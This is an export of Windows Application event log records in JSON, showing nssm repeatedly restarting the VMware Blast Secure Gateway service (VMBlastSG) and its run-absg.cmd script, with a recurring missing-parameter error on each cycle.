{"@timestamp":1646822702575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166280}}
{"@timestamp":1646822702576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166281}}
{"@timestamp":1646822831065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166282}}
{"@timestamp":1646822831067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166283}}
{"@timestamp":1646822831068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163172","0"]}}},"module":"Application","provider":"nssm","sequence":166284}}
{"@timestamp":1646822831069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163172","163172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166285}}
{"@timestamp":1646822831090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166286}}
{"@timestamp":1646822831091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166287}}
{"@timestamp":1646822831091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166288}}
{"@timestamp":1646822831092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166289}}
{"@timestamp":1646822959609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166290}}
{"@timestamp":1646822959610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166291}}
{"@timestamp":1646822959611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162024","0"]}}},"module":"Application","provider":"nssm","sequence":166292}}
{"@timestamp":1646822959612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162024","162024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166293}}
{"@timestamp":1646822959629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166294}}
{"@timestamp":1646822959629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166295}}
{"@timestamp":1646822959630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166296}}
{"@timestamp":1646822959631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166297}}
{"@timestamp":1646823088207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166298}}
{"@timestamp":1646823088210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166299}}
{"@timestamp":1646823088211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162868","0"]}}},"module":"Application","provider":"nssm","sequence":166300}}
{"@timestamp":1646823088211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162868","162868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166301}}
{"@timestamp":1646823088229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166302}}
{"@timestamp":1646823088229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166303}}
{"@timestamp":1646823088230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166304}}
{"@timestamp":1646823088231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166305}}
{"@timestamp":1646823216735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166306}}
{"@timestamp":1646823216737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166307}}
{"@timestamp":1646823216738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162720","0"]}}},"module":"Application","provider":"nssm","sequence":166308}}
{"@timestamp":1646823216738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162720","162720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166309}}
{"@timestamp":1646823216757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166310}}
{"@timestamp":1646823216758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166311}}
{"@timestamp":1646823216759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166312}}
{"@timestamp":1646823216759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166313}}
{"@timestamp":1646823345262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166314}}
{"@timestamp":1646823345263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166315}}
{"@timestamp":1646823345264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163036","0"]}}},"module":"Application","provider":"nssm","sequence":166316}}
{"@timestamp":1646823345266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163036","163036","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166317}}
{"@timestamp":1646823345287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166318}}
{"@timestamp":1646823345288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166319}}
{"@timestamp":1646823345288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166320}}
{"@timestamp":1646823345289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166321}}
{"@timestamp":1646823473916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166322}}
{"@timestamp":1646823473917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166323}}
{"@timestamp":1646823473917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162116","0"]}}},"module":"Application","provider":"nssm","sequence":166324}}
{"@timestamp":1646823473918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162116","162116","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166325}}
{"@timestamp":1646823473944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166326}}
{"@timestamp":1646823473944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166327}}
{"@timestamp":1646823473945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166328}}
{"@timestamp":1646823473946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166329}}
{"@timestamp":1646823602432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166330}}
{"@timestamp":1646823602433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166331}}
{"@timestamp":1646823602434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161672","0"]}}},"module":"Application","provider":"nssm","sequence":166332}}
{"@timestamp":1646823602435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161672","161672","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166333}}
{"@timestamp":1646823602454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166334}}
{"@timestamp":1646823602455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166335}}
{"@timestamp":1646823602456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166336}}
{"@timestamp":1646823602456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166337}}
{"@timestamp":1646823730940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166338}}
{"@timestamp":1646823730940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166339}}
{"@timestamp":1646823730941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161532","0"]}}},"module":"Application","provider":"nssm","sequence":166340}}
{"@timestamp":1646823730941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161532","161532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166341}}
{"@timestamp":1646823730959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166342}}
{"@timestamp":1646823730960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166343}}
{"@timestamp":1646823730960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166344}}
{"@timestamp":1646823730961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166345}}
{"@timestamp":1646823859419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166346}}
{"@timestamp":1646823859422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166347}}
{"@timestamp":1646823859423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162904","0"]}}},"module":"Application","provider":"nssm","sequence":166348}}
{"@timestamp":1646823859423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162904","162904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166349}}
{"@timestamp":1646823859442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166350}}
{"@timestamp":1646823859443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166351}}
{"@timestamp":1646823859443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166352}}
{"@timestamp":1646823859444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166353}}
{"@timestamp":1646823988046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166354}}
{"@timestamp":1646823988046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166355}}
{"@timestamp":1646823988047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163056","0"]}}},"module":"Application","provider":"nssm","sequence":166356}}
{"@timestamp":1646823988047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163056","163056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166357}}
{"@timestamp":1646823988079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166358}}
{"@timestamp":1646823988080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166359}}
{"@timestamp":1646823988080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166360}}
{"@timestamp":1646823988081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166361}}
{"@timestamp":1646824116557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166362}}
{"@timestamp":1646824116559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166363}}
{"@timestamp":1646824116560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163412","0"]}}},"module":"Application","provider":"nssm","sequence":166364}}
{"@timestamp":1646824116560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163412","163412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166365}}
{"@timestamp":1646824116578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166366}}
{"@timestamp":1646824116579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166367}}
{"@timestamp":1646824116579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166368}}
{"@timestamp":1646824116580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166369}}
{"@timestamp":1646824245069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166370}}
{"@timestamp":1646824245070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166371}}
{"@timestamp":1646824245071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162192","0"]}}},"module":"Application","provider":"nssm","sequence":166372}}
{"@timestamp":1646824245071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162192","162192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166373}}
{"@timestamp":1646824245089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166374}}
{"@timestamp":1646824245090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166375}}
{"@timestamp":1646824245090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166376}}
{"@timestamp":1646824245091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166377}}
{"@timestamp":1646824373553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166378}}
{"@timestamp":1646824373554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166379}}
{"@timestamp":1646824373555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161964","0"]}}},"module":"Application","provider":"nssm","sequence":166380}}
{"@timestamp":1646824373556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161964","161964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166381}}
{"@timestamp":1646824373573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166382}}
{"@timestamp":1646824373573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166383}}
{"@timestamp":1646824373574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166384}}
